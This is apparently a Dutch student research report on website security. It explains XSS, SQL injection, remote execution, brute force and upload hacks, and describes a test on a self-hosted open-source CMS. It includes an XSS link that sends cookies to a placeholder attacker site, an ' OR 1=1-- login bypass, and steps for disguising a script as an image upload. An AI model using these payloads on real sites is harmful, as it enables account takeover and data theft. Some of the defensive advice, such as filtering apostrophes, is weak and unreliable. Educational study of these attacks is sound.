Research and Development 1/^Archief/2007-2008/projecten/Beveiliging van websites/Onderzoeksfase 1

Inleiding

Naar aanleiding van het volgende artikel hebben we het onderwerp beveiliging van websites gekozen. Hierin is te lezen dat 70% van de onderzochte websites beveiligingslekken bevat, die door hackers misbruikt zouden kunnen worden.

Om meer te weten te komen over het hacken van websites zelf, hebben we onszelf het volgende doel gesteld voor onderzoeksfase 1: het hacken van een of meerdere websites.

Criteria

Om het onderzoek wat concreter te maken, hebben we de volgende criteria opgesteld voor wat wij verstaan onder hacken:

• We noemen een website is gehackt als door middel van een van onderstaande methodes de inhoud van de website veranderd is of verborgen (geheime) gegevens achterhaald zijn, zonder dat men daartoe bevoegd was.
• We noemen een website is onveilig als deze gehackt kan worden, zoals hierboven beschreven staat.

Methodes

Cross site scripting

Cross Site Scripting (ook wel XSS) is een methode waarbij de hacker geheime informatie (meestal cookies) van een andere computer overneemt of wijzigt. Bij veel systemen wordt gebruik gemaakt van cookies. Dit is informatie die wordt opgeslagen op de server, en bij een volgend bezoek weer door de browser wordt opgehaald. Wanneer deze in handen komt van een ander, is het mogelijk dat diegene in kan breken in de website.

Een voorbeeld is een website waar een cookie wordt gemaakt van de gebruikersnaam en het wachtwoord. De hacker stuurt een mail naar de administrator met de volgende link: http://www.mijnsite.com/index.php?page=<script>document.location.replace('http://www.hackersite.com/log.php?q=' +document.cookie);</script>

Wanneer de administrator op deze link klikt, zullen alle cookies die hij/zij op die website heeft, doorgestuurd worden naar de hacker. De hacker kan hieruit de gebruikersnaam en het wachtwoord vissen, en kan inloggen in het systeem.

Om XSS te voorkomen, kun je: - het gebruik van cookies in een systeem vermijden - ervoor zorgen dat je cookies niet,bijvoorbeeld dmv een toevoeging in de URL, kunt opvragen op een site.

SQL injection

Veel websites gebruiken een database als bron van de gegevens voor de website. Via een SQL query kunnen gegevens in deze database gewijzigd, opgeslagen en verwijderd worden. In sommige gevallen wordt invoer van de gebruiker als variabele in een SQL query gebruikt.

Deze invoer van de gebruiker kan op verschillende manier verkregen worden:

Een mogelijk is invoer via de URL. In de URL kunnen dan variabelen meegegeven worden. Een voorbeeld van zo’n URL is: http://www.website.nl/?page=news&id=10

In deze URL zijn er twee variabelen, page en id met respectievelijk de waarden 'news' en 'id'. Het komt vaak voor dat deze waarden worden gebruikt in een SQL query. Deze variabelen zijn gemakkelijk aan te passen door de gebruiker.

Een andere vorm van invoer van de gebruiker is invoer via een formulier met invoervelden. Dit zijn vaak invoervelden waarin tekst ingevoerd kan worden. Deze tekst wordt dan via een SQL query in de database opgeslagen.

Door naar de broncode van de website te kijken zijn deze invoervelden gemakkelijk herkennen, meestal zijn ze omgegeven door een form-tag (<form></form>). De input velden zijn de herkennen door in input-tag (<input type="text">).

Ook is er nog op aantal andere manier invoer mogelijk, bijvoorbeeld via cookies of sessies. Deze manier van invoer is veel lastiger te herkennen en ook lastiger aan te passen door de gebruiker.

Wanneer is nu SQL Injectie mogelijk? SQL injectie is mogelijk wanneer de invoer van de gebruiker niet goed wordt gecontroleerd.

We beginnen even met een voorbeeld. We hebben een inlogscherm met een formulier met twee invoervelden, gebruikersnaam en wachtwoord. Wanneer deze velden ingevoerd wordt, worden de twee variabelen [gebruikersnaam] en [wachtwoord] verzonden. Deze variabelen worden gebruikt in de volgende SQL query:

SELECT *
FROM gebruikers 
WHERE gebruiker = '[gebruikersnaam]' and wachtwoord = '[wachtwoord]'

De tabel gebruikers ziet er als volgt uit:

gebruiker	wachtwoord
Jan	JwqAesE
Piet	ipOmn!
Hans	23#!@

We gaan er vanuit dat de invoer van de gebruiker niet wordt gecontroleerd en veranderd. We voeren voor gebruikersnaam in: ' OR 1=1-- , wachtwoord laten we leeg.

De SQL query die nu aangeroepen wordt ziet er dan als volgt uit:

SELECT *


FROM gebruikers 
WHERE gebruiker = '' OR 1=1 –' and wachtwoord = '[wachtwoord]'

De toevoeging – onderbreekt de query en zorgt ervoor dat het vervolg niet meer wordt gelezen, wat er nu dus eigenlijk uitgevoerd wordt is:

SELECT *
FROM gebruikers 
WHERE gebruiker = '' OR 1=1

Het is niet moeilijk in te zien dat er een gebruiker zal worden gevonden, 1=1 is namelijk aantal waar. Er wordt dus een gebruiker gevonden die voldoet aan het door de gebruiker ingevoerde gebruikersnaam en wachtwoord. Het systeem zal denken dat de gebruiker een geldige combinatie gebruikersnaam/wachtwoord heeft ingevoerd en de gebruiker wordt ingelogd.

Deze SQL injectie was mogelijk omdat de invoer van de gebruiker niet werd gecontroleerd, er werd niet gecontroleerd of de gebruiker een apostrof invoerde . Als deze apostrof was verwijderd was er niet aan de hand geweest, de query had er dan als volgt uitgezien

SELECT *
FROM gebruikers 
WHERE gebruiker = ' OR 1=1 –' and wachtwoord = ''

De gebruiker OR 1=1—met een leeg wachtwoord was natuurlijk nooit gevonden.

Dit was nog maar één voorbeeld van SQL injectie. Omdat er via een SQL query direct gecommuniceerd wordt met de database is er nog veel meer mogelijk. In sommige gevallen kan via een SQL injectie bijvoorbeeld een tabel uit de database verwijderd worden of kunnen gegevens opgevraagd worden die geheim horen te blijven.

SQL injectie kan voorkomen worden door de invoer van de gebruiker altijd te controleren, er moet dus altijd gecontroleerd worden of er geen apostrof is ingevoerd en als er een cijfer ingevoerd moet worden, moet er gecontroleerd worden of er ook daadwerkelijk een cijfer is ingevoerd.

Remote execution

Bij remote execution wordt er van buiten af een bestand in een bepaalde programmeertaal op de server van de website uitgevoerd, dus het bestand dat op een bepaalde server staat wordt uitgevoerd op een andere server. Als er bijvoorbeeld in een url een variabele veranderd kan worden in een link naar een bestand op een server, dan wordt dat bestand gelezen in de server waar de site vandaan komt, en wordt de code die in het bestand staat uitgevoerd in de server van de site. Men zou dus bijvoorbeeld de inhoud van een directory weer kunnen laten geven en zo zou men dus bij verborgen informatie kunnen komen. Als het mogelijk is om een bestand mee te sturen dan zal het niet altijd mogelijk zijn om dit ook te laten uitvoeren, want dat is afhankelijk van de taal en de versie daarvan waarom de website is gemaakt, dit is bijvoorbeeld bij PHP niet mogelijk in PHP4, maar wel in PHP5.

Brute force

Brute force is een hackmethode die gebruikt wordt bij inlogvelden. Het komt neer op het net zolang uitproberen van usernames en wachtwoorden totdat de goede combinatie gevonden is en men dus ingelogd is. Vaak is de username niet zo'n groot probleem, omdat deze op veel websites ook wel zichtbaar zijn en door bijvoorbeeld een woordenboek los te laten op het wachtwoord is het wachtwoord soms ook niet al te moeilijk te vinden. Om te hacken is het vaak ook handig om eerst een aantal vaak gebruikte usernames en wachtwoorden te proberen, bij een site waar de login niet al te goed bedacht is, zou dit kunnen helpen. Bijvoorbeeld admin en test, dit zou zomaar kunnen werken op een site waar de beheerder/gebruiker niet bedacht is op mensen die proberen te hacken door gewoon maar simpelweg dingen te gaan proberen. Er valt tegen deze vorm van hacken ook niet te beschermen, want anders zou men tegen moeten dat men in kan loggen, en dan hebben de echte gebruikers er ook niets meer aan. Men kan het de hacker alleen zeer moeilijk proberen te maken, door bijvoorbeeld geen simpele wachtwoorden te nemen.

Upload hacks

Uploads Hacks Op veel websites kun je, via een upload formulier, bestanden uploaden. Hier kan dan bijvoorbeeld een profielfoto of een document geupload worden. Maar wat nu als, via dit formulier, ook andere bestanden geupload kunnen worden?

Stel dat hier een script geupload kan worden, dat op een andere website uitgevoerd kan worden door middel van, het eerder besproken, remote execution. Zo kan deze site gebruikt worden om een website te hacken. Daarnaast zou er een script geupload kunnen worden dat de map, waar alle bestanden geupload staan, leegt.

Op de meeste websites kun je echter niet zomaar alle bestanden uploaden. Er wordt dan gecontroleerd op de type bestanden die je kunt uploaden, dit kan doorgaans op twee manieren:

• Controle op de extensie van het bestand
• Controle op content type van het bestand

Wanneer er alleen gecontroleerd wordt op de extensie van het bestand, kun je nog steeds scripts uploaden. Je kunt dan namelijk je de extensie van je script hernoemen naar een extensie die wel toegestaan wordt . Bij remote execution wordt het script dan meestal nog gewoon uitgevoerd, omdat bij remote execution naar de inhoud van het bestand wordt gekeken en niet de extensie.

Wanneer er alleen gecontroleerd wordt op het content type van een bestand is dit ook niet veilig. Bij content type controle wordt er gekeken naar het patroon van een bestand, zo heeft een jpeg-afbeelding een heel ander patroon dan een pdf-bestand.

We kunnen nu een bestand openen in een tekstverwerkers en onderin een scriptje zetten. Bijvoorbeeld:

<script>alert(document.cookie);</script>

We veranderen nu het de naam van het bestand naar de extensie van ons script, bijvoorbeeld .php. Het bestandstype zal nu niet veranderd zijn omdat het patroon van het bestand is veranderd en het bestand zal gewoon geupload worden. Voer nu het bestand nu uit in de browser en de cookie van de website zal verschijnen. We zagen eerder wat hiermee gedaan kan worden.

Om upload hacking te voorkomen zal er dus zowel op de extensie van een bestand als op het content type van een bestand gecontroleerd moeten worden.

Toepassing

Na informatie gezocht te hebben zijn we gaan kijken naar mogelijke websites die we zouden kunnen hacken.

Barrières

• De broncode van de sites is niet zichtbaar
• De gegevens van de hacker zijn in veel gevallen zichtbaar op de server van de website

Oplossing

Om geen last te hebben van de barrières die we op websites zijn tegengekomen, hebben we gekozen om de door ons gekozen hackmethodes uit te proberen op een open source cms, dat we op onze eigen server hebben geïnstalleerd. Hiermee voorkomen we illegale praktijken te verrichten en zo hebben we ook toegang tot de broncode van de website, zodat we de zwakke punten van de website kunnen vinden. Open source cms

Gebruik van het open source cms

We hebben op het open source cms SQL injection toegepast om in te loggen. Het ging vrij gemakkelijk en hiermee hebben we al meteen het eerste zwakke punt van die cms gevonden.

Voortgang

We willen het open source cms en nog andere open source systemen verder onderzoeken en met deze gegevens samen met de al gevonden informatie willen wij een systeem ontwikkelen dat beveiligingslekken in een website vindt.

Literatuur

Algemeen

[1]

SQL injection

• [2]
• [3]
• [4]
• [5]
• [6]
• [7]